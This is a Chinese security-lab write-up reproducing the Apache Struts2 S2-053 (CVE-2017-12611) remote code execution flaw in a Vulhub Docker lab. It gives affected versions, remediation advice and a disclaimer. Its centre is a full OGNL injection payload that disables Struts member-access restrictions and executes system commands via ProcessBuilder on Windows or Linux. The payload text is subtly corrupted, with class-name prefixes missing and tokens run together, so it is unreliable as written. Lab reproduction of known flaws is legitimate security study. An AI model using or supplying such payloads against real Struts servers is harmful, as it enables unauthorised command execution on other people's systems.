网安引领时代，弥天点亮未来
2017年9月7日，Apache Struts发布最新的安全公告，Apache Struts 2存在一个远程代码执行漏洞，漏洞编号为CVE-2017-12611（S2-053）。该漏洞源于在处理Freemarker标签中使用如下代码时
<@s.hidden name="redirectUri" value=redirectUri/><@s.hidden name="redirectUri"value="${redirectUri}" />
会将值当做表达式进行执行，最后导致远程代码执行。
Apache Group Struts2.5-2.5.10
Apache Group Struts2.0.1-2.3.33
虚拟机部署docker安装Vulhub一键搭建漏洞测试靶场环境。
docker-compose up -d1、访问漏洞环境
http://192.168.60.131:8080/hello.action
2、Payload进行漏洞利用
%{(#dm=.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(.apache.commons.io.IOUtils@toString(#process.getInputStream()))}命令执行
id
pwd
1、将ApacheStrust2版本升级到官方最新版本
2、不要在代码中使用上述结构或使用只读属性来初始化value属性（仅限getter属性）
https://www.anquanke.com/post/id/86787
知识分享完了
喜欢别忘了关注我们哦~
学海浩茫，
弥 天
安全实验室
本文始发于微信公众号（弥天安全实验室）：Apache Struts2--053远程代码执行漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论